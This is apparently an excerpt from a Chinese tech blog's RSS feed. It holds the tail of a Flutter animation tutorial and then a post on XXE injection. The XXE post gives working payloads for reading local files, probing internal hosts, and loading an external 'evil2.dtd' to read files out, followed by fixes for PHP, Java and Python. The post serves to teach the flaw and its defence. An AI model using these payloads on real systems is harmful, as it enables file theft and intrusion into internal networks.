</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>​		这里，<code>AnimatedContainer</code>不能管理其child属性的变化，只能在其自身属性变化时产生动画。</p>
<p>​		值得一提的是，<code>decoration</code>属性是非常好用的，例如：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>AnimatedContainer(
</span></span><span style="display:flex;"><span>  duration: <span style="color:#66d9ef">const</span> Duration(seconds: <span style="color:#ae81ff">1</span>),
</span></span><span style="display:flex;"><span>  width: <span style="color:#ae81ff">300</span>,
</span></span><span style="display:flex;"><span>  height: <span style="color:#ae81ff">300</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">//color: Colors.blue,			//设置decoration属性后，color属性必须删除
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  decoration: BoxDecoration(
</span></span><span style="display:flex;"><span>    gradient: <span style="color:#66d9ef">const</span> LinearGradient(			<span style="color:#75715e">//设置渐变色
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>      begin: Alignment.bottomCenter,    <span style="color:#75715e">//橙色从底部中心开始
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>      end: Alignment.topCenter,         <span style="color:#75715e">//白色从顶部中心开始
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>      colors: [Colors.orange, Colors.white],
</span></span><span style="display:flex;"><span>      stops: [<span style="color:#ae81ff">0.5</span>,<span style="color:#ae81ff">0.7</span>],                 <span style="color:#75715e">//只在这个区间内设置动画效果
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    ),
</span></span><span style="display:flex;"><span>    boxShadow: <span style="color:#66d9ef">const</span> [BoxShadow(spreadRadius: <span style="color:#ae81ff">5</span>, blurRadius: <span style="color:#ae81ff">25</span>)],	<span style="color:#75715e">//边框半径5，阴影半径25
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    borderRadius: BorderRadius.circular(<span style="color:#ae81ff">150</span>)  <span style="color:#75715e">//设置300/2=150，出现正圆形；设置0，变为方形
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  ),
</span></span><span style="display:flex;"><span>  child: <span style="color:#66d9ef">const</span> Center(
</span></span><span style="display:flex;"><span>    child: Text(<span style="color:#e6db74">&#34;Hi&#34;</span>,style: TextStyle(fontSize: <span style="color:#ae81ff">72</span>)),
</span></span><span style="display:flex;"><span>  ),
</span></span><span style="display:flex;"><span>),
</span></span></code></pre></div><img src="https://i.loli.net/2021/11/01/nw7Zi82tVsqjIyr.jpg" alt="5514F21B-7194-4DA1-A5D0-165C90F6B1DC_1_105_c" style="zoom:33%;" />
<p>最终效果图如上。</p>
<h3 id="12-在不同控件间切换animatedswitcher">1.2 在不同控件间切换——AnimatedSwitcher</h3>
<p>​		AnimatedSwitcher主要监控child属性，如果其child属性发生变化，则会在替换控件时添加过渡动画。如果child变为null，那么该控件将渐渐消失。</p>
<p>​		AnimatedSwitcher根据 1.child的属性 2.key属性 来判断控件是否变化。</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>AnimatedSwitcher(
</span></span><span style="display:flex;"><span>  transitionBuilder: (child, animation) {   <span style="color:#75715e">//自定义动画
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">//return FadeTransition(opacity: animation, child: child);  //默认效果：透明度渐变
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">//return ScaleTransition(scale: animation, child: child); //缩放动画
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">return</span> RotationTransition(turns: animation, child: child); <span style="color:#75715e">//旋转动画
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  },
</span></span><span style="display:flex;"><span>  duration: <span style="color:#66d9ef">const</span> Duration(seconds: <span style="color:#ae81ff">1</span>),	<span style="color:#75715e">//动画持续1秒
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#75715e">//child: CircularProgressIndicator(),
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  child: Text(<span style="color:#e6db74">&#34;h22i&#34;</span>,
</span></span><span style="display:flex;"><span>  	key: UniqueKey(),     <span style="color:#75715e">//每次都生成一个新的key，因此AnimatedSwitcher每次都会播放切换动画
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  	style: <span style="color:#66d9ef">const</span> TextStyle(fontSize: <span style="color:#ae81ff">100</span>)
</span></span><span style="display:flex;"><span>  ),
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><p>在<code>transitionBuilder</code>中，也可以嵌套使用多种动画：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>transitionBuilder: (child, animation) {   <span style="color:#75715e">//自定义动画
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#66d9ef">return</span> FadeTransition(   <span style="color:#75715e">//不透明度渐变 + 旋转动画 的嵌套
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    opacity: animation,
</span></span><span style="display:flex;"><span>    child: RotationTransition(turns: animation, child: child), <span style="color:#75715e">//旋转动画
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  );
</span></span><span style="display:flex;"><span>},
</span></span></code></pre></div><p>如果你只有两个控件，要实现来回切换的效果，可以使用优化过后的<code>AnimatedCrossFade</code>控件。</p>
<h3 id="13-曲线curvesbounceout">1.3 曲线——Curves.bounceOut</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>AnimatedOpacity(
</span></span><span style="display:flex;"><span>	duration: <span style="color:#66d9ef">const</span> Duration(seconds: <span style="color:#ae81ff">1</span>),
</span></span><span style="display:flex;"><span>	curve: Curves.bounceOut,    <span style="color:#75715e">//设置回弹曲线
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>	opacity: <span style="color:#ae81ff">0</span>,
</span></span><span style="display:flex;"><span>	child: Container(width: <span style="color:#ae81ff">300</span>, height: <span style="color:#ae81ff">300</span>, color: Colors.blue),
</span></span><span style="display:flex;"><span>),
</span></span></code></pre></div><p>可以多个Animated控件嵌套，例如：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>AnimatedPadding(
</span></span><span style="display:flex;"><span>  duration: <span style="color:#66d9ef">const</span> Duration(seconds: <span style="color:#ae81ff">1</span>),
</span></span><span style="display:flex;"><span>  padding: <span style="color:#66d9ef">const</span> EdgeInsets.only(top: <span style="color:#ae81ff">200.0</span>),
</span></span><span style="display:flex;"><span>  curve: Curves.bounceOut, <span style="color:#75715e">//设置回弹曲线，默认Curves.linear
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  child: AnimatedOpacity(   <span style="color:#75715e">//AnimatedPadding中嵌套AnimatedOpacity，但动画会一同开始
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    duration: <span style="color:#66d9ef">const</span> Duration(seconds: <span style="color:#ae81ff">1</span>),
</span></span><span style="display:flex;"><span>    opacity: <span style="color:#ae81ff">0.5</span>,
</span></span><span style="display:flex;"><span>    child: Container(width: <span style="color:#ae81ff">300</span>, height: <span style="color:#ae81ff">300</span>, color: Colors.blue),
</span></span><span style="display:flex;"><span>  ),
</span></span><span style="display:flex;"><span>),
</span></span></code></pre></div><h3 id="14-animated还不够自制补间动画tweenanimationbuilder">1.4 Animated还不够？自制补间动画——TweenAnimationBuilder</h3>
<p>使用<code>TweenAnimationBuilder</code>和<code>Tween</code>来创建补间动画。</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#75715e">//使用TweenAnimationBuilder自制一个AnimatedOpacity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>TweenAnimationBuilder(
</span></span><span style="display:flex;"><span>  duration: <span style="color:#66d9ef">const</span> Duration(seconds: <span style="color:#ae81ff">1</span>),
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">//其中，begin的值只在开始时有效，后期如果修改了end，则会从当前状态（而不是begin）前往新的end
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#75715e">//从begin到end期间，builder函数会被反复调用，反复渲染新的（含value）的控件
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  tween: Tween<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">double</span><span style="color:#f92672">&gt;</span>(begin: <span style="color:#ae81ff">0.0</span>, end: <span style="color:#ae81ff">0.5</span>),   
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">//builder是复杂形式的child（如ListBuilder）
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  builder: (BuildContext context, <span style="color:#66d9ef">double</span> value, Widget<span style="color:#f92672">?</span> child)<span style="color:#f92672">=&gt;</span> Opacity(
</span></span><span style="display:flex;"><span>    opacity: value,	<span style="color:#75715e">//value也就是tween自动生成的那个值（0.0-0.5之间）
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    child: child  <span style="color:#75715e">//参数中的child不会被反复渲染，而会使用原来的child，达到一个优化的效果
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  ),
</span></span><span style="display:flex;"><span>  child: Container( 
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//这里的child（也就是直属于TweenAnimationBuilder的child）就是builder函数中的child
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">//builder不会反复渲染这里的child，达到一个优化的效果
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    width: <span style="color:#ae81ff">300</span>,
</span></span><span style="display:flex;"><span>    height: <span style="color:#ae81ff">300</span>,
</span></span><span style="display:flex;"><span>    color: Colors.red,
</span></span><span style="display:flex;"><span>  ),
</span></span><span style="display:flex;"><span>),
</span></span></code></pre></div><p>使用<code>Transform</code>来定义变换：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#75715e">//旋转变换
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>TweenAnimationBuilder(
</span></span><span style="display:flex;"><span>  duration: <span style="color:#66d9ef">const</span> Duration(seconds: <span style="color:#ae81ff">1</span>),
</span></span><span style="display:flex;"><span>  tween: Tween<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">double</span><span style="color:#f92672">&gt;</span>(begin: <span style="color:#ae81ff">1.0</span>, end: <span style="color:#ae81ff">6.0</span>),   <span style="color:#75715e">//忽略begin，则此时begin=end，启动时动画不播放
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  builder: (BuildContext context, <span style="color:#66d9ef">double</span> value, Widget<span style="color:#f92672">?</span> child) <span style="color:#f92672">=&gt;</span> Container(
</span></span><span style="display:flex;"><span>    width: <span style="color:#ae81ff">300</span>,
</span></span><span style="display:flex;"><span>    height: <span style="color:#ae81ff">300</span>,
</span></span><span style="display:flex;"><span>    color: Colors.red,
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// * 任何平移旋转缩放操作都能用4*4矩阵表示
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">//Transform( transform: Matrix4.identity().translate(x),
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">// * 或者使用 Transform.scale缩放 / .rotate旋转(angle:0-2pi) / .translate平移
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    child: Center(child: Transform.rotate(	<span style="color:#75715e">//旋转
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>      angle: value, 
</span></span><span style="display:flex;"><span>      child: <span style="color:#66d9ef">const</span> Text(<span style="color:#e6db74">&#34;Hi&#34;</span>,style: TextStyle(fontSize: <span style="color:#ae81ff">70</span>)),
</span></span><span style="display:flex;"><span>    ),
</span></span><span style="display:flex;"><span>   ),
</span></span><span style="display:flex;"><span>  ),
</span></span><span style="display:flex;"><span>),
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#75715e">//平移变换
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>TweenAnimationBuilder(
</span></span><span style="display:flex;"><span>  duration: <span style="color:#66d9ef">const</span> Duration(seconds: <span style="color:#ae81ff">1</span>),
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">//tween中可以直接放置offset
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  tween: Tween(begin: <span style="color:#66d9ef">const</span> Offset(<span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">0</span>), end: <span style="color:#66d9ef">const</span> Offset(<span style="color:#ae81ff">40</span>,<span style="color:#ae81ff">0</span>)),
</span></span><span style="display:flex;"><span>  builder: (BuildContext context, Offset value, Widget<span style="color:#f92672">?</span> child) <span style="color:#f92672">=&gt;</span> Container(
</span></span><span style="display:flex;"><span>    width: <span style="color:#ae81ff">300</span>,
</span></span><span style="display:flex;"><span>    height: <span style="color:#ae81ff">300</span>,
</span></span><span style="display:flex;"><span>    color: Colors.red,
</span></span><span style="display:flex;"><span>    child: Center(child: Transform.translate(<span style="color:#75715e">//平移操作
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>      offset: value,
</span></span><span style="display:flex;"><span>      child: <span style="color:#66d9ef">const</span> Text(<span style="color:#e6db74">&#34;Hi&#34;</span>,style: TextStyle(fontSize: <span style="color:#ae81ff">70</span>),),
</span></span><span style="display:flex;"><span>    ),
</span></span><span style="display:flex;"><span>   ),
</span></span><span style="display:flex;"><span>  ),
</span></span><span style="display:flex;"><span>),
</span></span></code></pre></div><h3 id="15-计数器动画">1.5 计数器动画</h3>
<p>实现的效果如下：</p>
<img src="https://i.loli.net/2021/11/01/kQPf3DOgAhqXNZS.jpg" alt="6E7223F5-16FA-4D8C-AB06-57CF0EA8E594_1_201_a" style="zoom:33%;" />
<p>代码：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#66d9ef">import</span> <span style="color:#e6db74">&#39;package:flutter/material.dart&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> main() <span style="color:#f92672">=&gt;</span> runApp(<span style="color:#66d9ef">const</span> MyApp());
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">MyApp</span> <span style="color:#66d9ef">extends</span> StatelessWidget {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> MyApp({Key<span style="color:#f92672">?</span> key}) <span style="color:#f92672">:</span> <span style="color:#66d9ef">super</span>(key: key);
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  Widget build(BuildContext context) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> MaterialApp(
</span></span><span style="display:flex;"><span>        home: Scaffold(
</span></span><span style="display:flex;"><span>            body: Center(
</span></span><span style="display:flex;"><span>                child: Container(
</span></span><span style="display:flex;"><span>      width: <span style="color:#ae81ff">300</span>,
</span></span><span style="display:flex;"><span>      height: <span style="color:#ae81ff">120</span>,
</span></span><span style="display:flex;"><span>      color: Colors.blue,
</span></span><span style="display:flex;"><span>      child: <span style="color:#66d9ef">const</span> AnimatedCounter(<span style="color:#ae81ff">4</span>,duration: Duration(seconds: <span style="color:#ae81ff">1</span>)), <span style="color:#75715e">//使用滚动计数器
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    ))));
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//滚动计数器
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">AnimatedCounter</span> <span style="color:#66d9ef">extends</span> StatelessWidget {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">final</span> <span style="color:#66d9ef">int</span> number;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">final</span> Duration duration;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> AnimatedCounter(<span style="color:#66d9ef">this</span>.number, {<span style="color:#66d9ef">this</span>.duration <span style="color:#f92672">=</span> <span style="color:#66d9ef">const</span> Duration(seconds: <span style="color:#ae81ff">1</span>) ,Key<span style="color:#f92672">?</span> key})
</span></span><span style="display:flex;"><span>   <span style="color:#f92672">:</span> <span style="color:#66d9ef">super</span>(key: key);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  Widget build(BuildContext context) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> TweenAnimationBuilder(
</span></span><span style="display:flex;"><span>        duration: duration,
</span></span><span style="display:flex;"><span>        tween: Tween<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">double</span><span style="color:#f92672">&gt;</span>(end: number.toDouble()), <span style="color:#75715e">//调整end
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        builder: (context, <span style="color:#66d9ef">double</span><span style="color:#f92672">?</span> value, child) {
</span></span><span style="display:flex;"><span>          <span style="color:#66d9ef">final</span> whole <span style="color:#f92672">=</span> value<span style="color:#f92672">!</span> <span style="color:#f92672">~/</span> <span style="color:#ae81ff">1</span>; <span style="color:#75715e">//整数部分
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>          <span style="color:#66d9ef">final</span> decimal <span style="color:#f92672">=</span> value <span style="color:#f92672">-</span> whole;
</span></span><span style="display:flex;"><span>          <span style="color:#66d9ef">return</span> Stack(children: [
</span></span><span style="display:flex;"><span>            _MyText(<span style="color:#e6db74">&#34;</span><span style="color:#e6db74">$</span>whole<span style="color:#e6db74">&#34;</span>, position: <span style="color:#f92672">-</span><span style="color:#ae81ff">100</span> <span style="color:#f92672">*</span> decimal, opacity: <span style="color:#ae81ff">1</span> <span style="color:#f92672">-</span> decimal),
</span></span><span style="display:flex;"><span>            _MyText(<span style="color:#e6db74">&#34;</span><span style="color:#e6db74">${</span>whole <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span><span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>,
</span></span><span style="display:flex;"><span>                position: <span style="color:#ae81ff">100</span> <span style="color:#f92672">-</span> decimal <span style="color:#f92672">*</span> <span style="color:#ae81ff">100</span>, opacity: decimal),
</span></span><span style="display:flex;"><span>          ]);
</span></span><span style="display:flex;"><span>        });
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">_MyText</span> <span style="color:#66d9ef">extends</span> StatelessWidget {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">final</span> <span style="color:#66d9ef">String</span> text;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">final</span> <span style="color:#66d9ef">double</span> position;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">final</span> <span style="color:#66d9ef">double</span> opacity;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> _MyText(<span style="color:#66d9ef">this</span>.text,
</span></span><span style="display:flex;"><span>      {<span style="color:#66d9ef">required</span> <span style="color:#66d9ef">this</span>.position, <span style="color:#66d9ef">required</span> <span style="color:#66d9ef">this</span>.opacity, Key<span style="color:#f92672">?</span> key})
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">:</span> <span style="color:#66d9ef">super</span>(key: key);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  Widget build(BuildContext context) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> Positioned(
</span></span><span style="display:flex;"><span>      child: Opacity(
</span></span><span style="display:flex;"><span>        opacity: opacity,
</span></span><span style="display:flex;"><span>        child: Text(text, style: <span style="color:#66d9ef">const</span> TextStyle(fontSize: <span style="color:#ae81ff">100</span>)),
</span></span><span style="display:flex;"><span>      ),
</span></span><span style="display:flex;"><span>      top: position,
</span></span><span style="display:flex;"><span>    );
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div>]]></content:encoded>
    </item>
    
    <item>
      <title>XXE</title>
      <link>https://weibo.io/2021/10/XXE/</link>
      <pubDate>Thu, 14 Oct 2021 14:31:26 +0000</pubDate>
      
      <guid>https://weibo.io/2021/10/XXE/</guid>
      <description>XXE简介 XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素，其焦点是数据的内容，其把数据从HTML分离，是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection，即xml外部实体注入漏洞，XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件，造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。 XML 与 HTML 的主要差异： XML 被设计为传输和存储数据，其焦点是数据的内容。 HTML 被设计用来显示数据，其焦点是数据的外观。 HTML 旨在显示信息 ，而 XML 旨在传输信息。
漏洞利用 1.提交的数据包含XML格式如：
&amp;lt;forgot&amp;gt;&amp;lt;username&amp;gt;admin&amp;lt;/username&amp;gt;&amp;lt;/forgot&amp;gt; 2.请求头中如： Content-Type：text/xml或Content-type:application/xml 文件读取：
&amp;lt;?xml version=&amp;#34;1.0&amp;#34;?&amp;gt; &amp;lt;!DOCTYPE Mikasa [ &amp;lt;!ENTITY test SYSTEM &amp;#34;file:///d:/www.txt&amp;#34;&amp;gt; ]&amp;gt; &amp;lt;user&amp;gt;&amp;lt;username&amp;gt;&amp;amp;test;&amp;lt;/username&amp;gt;&amp;lt;password&amp;gt;Mikasa&amp;lt;/password&amp;gt;&amp;lt;/user&amp;gt; 内网探针：
&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt; &amp;lt;!DOCTYPE foo [ &amp;lt;!ELEMENT foo ANY &amp;gt; &amp;lt;!ENTITY rabbit SYSTEM &amp;#34;http://192.168.0.103:8081/index.txt&amp;#34; &amp;gt; ]&amp;gt; &amp;lt;user&amp;gt;&amp;lt;username&amp;gt;&amp;amp;rabbit;&amp;lt;/username&amp;gt;&amp;lt;password&amp;gt;Mikasa&amp;lt;/password&amp;gt;&amp;lt;/user&amp;gt; 外部实体引用：(解决不回显，解决免杀拦截问题，外部引用Payload)
&amp;lt;?xml version=&amp;#34;1.0&amp;#34; ?&amp;gt; &amp;lt;!DOCTYPE test [ &amp;lt;!ENTITY % file SYSTEM &amp;#34;http://127.0.0.1:8081/evil2.dtd&amp;#34;&amp;gt; %file; ]&amp;gt; &amp;lt;user&amp;gt;&amp;lt;username&amp;gt;&amp;amp;send;&amp;lt;/username&amp;gt;&amp;lt;password&amp;gt;Mikasa&amp;lt;/password&amp;gt;&amp;lt;/user&amp;gt; evil2.dtd &amp;lt;!ENTITY send SYSTEM &amp;#34;file:///d:/www.</description>
      <content:encoded><![CDATA[<h2 id="xxe简介">XXE简介</h2>
<p>XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素，其焦点是数据的内容，其把数据从HTML分离，是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection，即xml外部实体注入漏洞，<strong>XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件</strong>，造成<strong>文件读取</strong>、命令执行、内网端口扫描、攻击内网网站等危害。
XML 与 HTML 的主要差异：
XML 被设计为传输和存储数据，其焦点是数据的内容。
HTML 被设计用来显示数据，其焦点是数据的外观。
HTML 旨在显示信息 ，而 XML 旨在传输信息。</p>
<h2 id="漏洞利用">漏洞利用</h2>
<p>1.提交的数据包含XML格式如：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span><span style="color:#f92672">&lt;forgot&gt;&lt;username&gt;</span>admin<span style="color:#f92672">&lt;/username&gt;&lt;/forgot&gt;</span>
</span></span></code></pre></div><p>2.请求头中如：
Content-Type：text/xml或Content-type:application/xml
文件读取：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span><span style="color:#75715e">&lt;?xml version=&#34;1.0&#34;?&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE Mikasa [
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!ENTITY test SYSTEM  &#34;file:///d:/www.txt&#34;&gt;</span>
</span></span><span style="display:flex;"><span>]&gt;
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;user&gt;&lt;username&gt;</span>&amp;test;<span style="color:#f92672">&lt;/username&gt;&lt;password&gt;</span>Mikasa<span style="color:#f92672">&lt;/password&gt;&lt;/user&gt;</span>
</span></span></code></pre></div><p>内网探针：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span><span style="color:#75715e">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;</span>        
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE foo [ 
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!ELEMENT foo ANY &gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!ENTITY rabbit SYSTEM &#34;http://192.168.0.103:8081/index.txt&#34; &gt;</span>
</span></span><span style="display:flex;"><span>]&gt;
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;user&gt;&lt;username&gt;</span>&amp;rabbit;<span style="color:#f92672">&lt;/username&gt;&lt;password&gt;</span>Mikasa<span style="color:#f92672">&lt;/password&gt;&lt;/user&gt;</span>
</span></span></code></pre></div><p>外部实体引用：(解决不回显，解决免杀拦截问题，外部引用Payload)</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span><span style="color:#75715e">&lt;?xml version=&#34;1.0&#34; ?&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE test [
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">    &lt;!ENTITY % file SYSTEM &#34;http://127.0.0.1:8081/evil2.dtd&#34;&gt;</span>
</span></span><span style="display:flex;"><span>    %file;
</span></span><span style="display:flex;"><span>]&gt;
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;user&gt;&lt;username&gt;</span>&amp;send;<span style="color:#f92672">&lt;/username&gt;&lt;password&gt;</span>Mikasa<span style="color:#f92672">&lt;/password&gt;&lt;/user&gt;</span>
</span></span><span style="display:flex;"><span>evil2.dtd
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!ENTITY send SYSTEM &#34;file:///d:/www.txt&#34;&gt;</span>
</span></span></code></pre></div><h2 id="xxe防御">XXE防御</h2>
<p>#XXE修复防御方案
方案1-禁用外部实体
PHP:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#a6e22e">libxml_disable_entity_loader</span>(<span style="color:#66d9ef">true</span>);
</span></span></code></pre></div><p>JAVA:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span>DocumentBuilderFactory dbf <span style="color:#f92672">=</span>DocumentBuilderFactory.<span style="color:#a6e22e">newInstance</span>();dbf.<span style="color:#a6e22e">setExpandEntityReferences</span>(<span style="color:#66d9ef">false</span>);
</span></span></code></pre></div><p>Python：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">from</span> lxml <span style="color:#f92672">import</span> etreexmlData <span style="color:#f92672">=</span> etree<span style="color:#f92672">.</span>parse(xmlSource,etree<span style="color:#f92672">.</span>XMLParser(resolve_entities<span style="color:#f92672">=</span><span style="color:#66d9ef">False</span>))
